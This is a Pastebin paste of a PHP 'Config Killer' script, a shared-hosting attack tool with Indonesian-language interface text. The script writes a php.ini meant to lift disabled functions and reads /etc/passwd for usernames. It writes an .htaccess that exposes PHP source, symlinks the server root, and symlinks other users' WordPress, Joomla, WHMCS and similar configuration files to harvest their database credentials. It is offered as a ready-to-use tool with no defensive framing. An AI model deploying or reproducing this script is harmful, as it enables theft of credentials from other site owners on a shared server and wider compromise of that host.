Advertisement
1337_Brain

Config Killer

Jul 14th, 2014
433
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.77 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. //config killer work on 2013 server
  5.  
  6.  
  7.  $head = '
  8.  
  9. <html>
  10.  
  11. <head>
  12.  
  13. </script>
  14.  
  15. <title>--==[[Config Killer Recoded AhmadH[ts]_ ]]==--</title>
  16.  
  17. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  18.  
  19.  
  20.  
  21. <STYLE>
  22.  
  23. body {
  24.  
  25. font-family: Tahoma
  26.  
  27. }
  28.  
  29. tr {
  30.  
  31. BORDER: dashed 1px #333;
  32.  
  33. color: #FFF;
  34.  
  35. }
  36.  
  37. td {
  38.  
  39. BORDER: dashed 1px #333;
  40.  
  41. color: #FFF;
  42.  
  43. }
  44.  
  45. .table1 {
  46.  
  47. BORDER: 0px Black;
  48.  
  49. BACKGROUND-COLOR: Black;
  50.  
  51. color: #FFF;
  52.  
  53. }
  54.  
  55. .td1 {
  56.  
  57. BORDER: 0px;
  58.  
  59. BORDER-COLOR: #333333;
  60.  
  61. font: 7pt Verdana;
  62.  
  63. color: Green;
  64.  
  65. }
  66.  
  67. .tr1 {
  68.  
  69. BORDER: 0px;
  70.  
  71. BORDER-COLOR: #333333;
  72.  
  73. color: #FFF;
  74.  
  75. }
  76.  
  77. table {
  78.  
  79. BORDER: dashed 1px #333;
  80.  
  81. BORDER-COLOR: #333333;
  82.  
  83. BACKGROUND-COLOR: Black;
  84.  
  85. color: #FFF;
  86.  
  87. }
  88.  
  89. input {
  90.  
  91. border            : dashed 1px;
  92.  
  93. border-color        : #333;
  94.  
  95. BACKGROUND-COLOR: Black;
  96.  
  97. font: 8pt Verdana;
  98.  
  99. color: Red;
  100.  
  101. }
  102.  
  103. select {
  104.  
  105. BORDER-RIGHT:  Black 1px solid;
  106.  
  107. BORDER-TOP:    #DF0000 1px solid;
  108.  
  109. BORDER-LEFT:   #DF0000 1px solid;
  110.  
  111. BORDER-BOTTOM: Black 1px solid;
  112.  
  113. BORDER-color: #FFF;
  114.  
  115. BACKGROUND-COLOR: Black;
  116.  
  117. font: 8pt Verdana;
  118.  
  119. color: Red;
  120.  
  121. }
  122.  
  123. submit {
  124.  
  125. BORDER:  buttonhighlight 2px outset;
  126.  
  127. BACKGROUND-COLOR: Black;
  128.  
  129. width: 30%;
  130.  
  131. color: #FFF;
  132.  
  133. }
  134.  
  135. textarea {
  136.  
  137. border            : dashed 1px #333;
  138.  
  139. BACKGROUND-COLOR: Black;
  140.  
  141. font: Fixedsys bold;
  142.  
  143. color: #999;
  144.  
  145. }
  146.  
  147. BODY {
  148.  
  149.    SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  150.  
  151. margin: 1px;
  152.  
  153. color: Red;
  154.  
  155. background-color: Black;
  156.  
  157. }
  158.  
  159. .main {
  160.  
  161. margin            : -287px 0px 0px -490px;
  162.  
  163. BORDER: dashed 1px #333;
  164.  
  165. BORDER-COLOR: #333333;
  166.  
  167. }
  168.  
  169. .tt {
  170.  
  171. background-color: Black;
  172.  
  173. }
  174.  
  175.  
  176.  
  177. A:link {
  178.  
  179.    COLOR: White; TEXT-DECORATION: none
  180.  
  181. }
  182.  
  183. A:visited {
  184.  
  185.    COLOR: White; TEXT-DECORATION: none
  186.  
  187. }
  188.  
  189. A:hover {
  190.  
  191.    color: Red; TEXT-DECORATION: none
  192.  
  193. }
  194.  
  195. A:active {
  196.  
  197.    color: Red; TEXT-DECORATION: none
  198.  
  199. }
  200.  
  201. </STYLE>
  202.  
  203. <script language=\'javascript\'>
  204.  
  205. function hide_div(id)
  206.  
  207. {
  208.  
  209.  document.getElementById(id).style.display = \'none\';
  210.  
  211.  document.cookie=id+\'=0;\';
  212.  
  213. }
  214.  
  215. function show_div(id)
  216.  
  217. {
  218.  
  219.  document.getElementById(id).style.display = \'block\';
  220.  
  221.  document.cookie=id+\'=1;\';
  222.  
  223. }
  224.  
  225. function change_divst(id)
  226.  
  227. {
  228.  
  229.  if (document.getElementById(id).style.display == \'none\')
  230.  
  231.    show_div(id);
  232.  
  233.  else
  234.  
  235.    hide_div(id);
  236.  
  237. }
  238.  
  239. </script>'; ?>
  240.  
  241. <html>
  242.  
  243.     <head>
  244.  
  245.         <?php
  246.  
  247.         echo $head ;
  248.  
  249.         echo '
  250.  
  251.  
  252.  
  253. <table width="100%" cellspacing="0" cellpadding="0" >
  254.  
  255.  
  256.            
  257.  
  258.  
  259.  
  260.       <td width="100%" align=center valign="top" rowspan="1">
  261.  
  262.           <font color=red size=5 face="comic sans ms"><b>--==[[ Configuration</font><font color=yellow size=5 face="comic sans ms"><b>  File Killer By</font><font color=green size=5 face="comic sans ms"><b> Recoded AhmadH[ts]_ MBT ]]==--</font> <div>
  263.  
  264.  
  265.  
  266.        <td height="10" align="left"></td></tr><tr><td
  267.  
  268.        width="100%" align="center" valign="top" rowspan="1"><font
  269.  
  270.        color="red" face="comic sans ms"size="1"><b>
  271.  
  272.        <font color=red>
  273.  
  274.  
  275.  
  276.           </table>
  277.        
  278.  
  279.  
  280.  
  281. ';
  282.  
  283.  
  284.  
  285. ?>
  286.  
  287. <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td>Selamat datang di kamar ane gan sun dulu :*</font><br></td></tr></table>
  288.  
  289. <form method=post><font color=white size=2 face="comic sans ms">sini =)) php.ini :)</font><p>
  290.  
  291. <input type=submit name=ini value="use to Generate PHP.ini" /></form>
  292.  
  293. <form method=post><font color=white size=2 face="comic sans ms">username nya disini </font><p>
  294.  
  295.     <input type=submit name="usre" value="use to Extract usernames" /></form>
  296.  
  297.  
  298.  
  299.     <?php
  300.  
  301.     if(isset($_POST['ini']))
  302.  
  303.     {
  304.  
  305.  
  306.  
  307.         $r=fopen('php.ini','w');
  308.  
  309.         $rr=" disbale_functions=none ";
  310.  
  311.         fwrite($r,$rr);
  312.  
  313.         $link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>buka di newtab PHP.INI</u></font></a>";
  314.  
  315.         echo $link;
  316.  
  317.  
  318.  
  319.         }
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.     ?>
  328.  
  329.  
  330.  
  331.  
  332.  
  333.     <?php
  334.  
  335.     if(isset($_POST['usre'])){
  336.  
  337.         ?><form method=post>
  338.  
  339.     <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
  340.  
  341. foreach($users as $user)
  342.  
  343. {
  344.  
  345. $str=explode(":",$user);
  346.  
  347. echo $str[0]."\n";
  348.  
  349. }
  350.  
  351.  
  352.  
  353. ?></textarea><br><br>
  354.  
  355.     <input type=submit name=su value="mari kita mulai" /></form>
  356.  
  357.     <?php } ?>
  358.  
  359.     <?php
  360.  
  361.     error_reporting(0);
  362.  
  363.     echo "<font color=red size=2 face=\"comic sans ms\">";
  364.  
  365.     if(isset($_POST['su']))
  366.  
  367.     {
  368.  
  369.     mkdir('ska',0777);
  370.  
  371. $rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  372.  
  373. $g = fopen('ska/.htaccess','w');
  374.  
  375. fwrite($g,$rr);
  376.  
  377. $ska = symlink("/","ska/root");
  378.  
  379.             $rt="<a href=ska/root><font color=white size=3 face=\"comic sans ms\"> ciniihh >_< </font></a>";
  380.  
  381.         echo "Mas bro buka link ini buat liat folder symlink <br><u>$rt</u>";
  382.  
  383.  
  384.  
  385.         $dir=mkdir('ska',0777);
  386.  
  387.         $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  388.  
  389.         $f = fopen('ska/.htaccess','w');
  390.  
  391.  
  392.  
  393.         fwrite($f,$r);
  394.  
  395.         $consym="<a href=ska/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  396.  
  397.            echo "<br>Cek hasilnya dibawah ummss :*<br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  398.  
  399.  
  400.  
  401.                $usr=explode("\n",$_POST['user']);
  402.  
  403.            $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
  404.  
  405.         foreach($usr as $uss )
  406.  
  407.         {
  408.  
  409.             $us=trim($uss);
  410.  
  411.  
  412.  
  413.             foreach($configuration as $c)
  414.  
  415.             {
  416.  
  417.              $rs="/home/".$us."/public_html/".$c;
  418.  
  419.              $r="ska/".$us." .. ".$c;
  420.  
  421.              symlink($rs,$r);
  422.  
  423.  
  424.  
  425.         }
  426.  
  427.  
  428.  
  429.             }
  430.  
  431.  
  432.  
  433.  
  434.  
  435.         }
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443.     ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement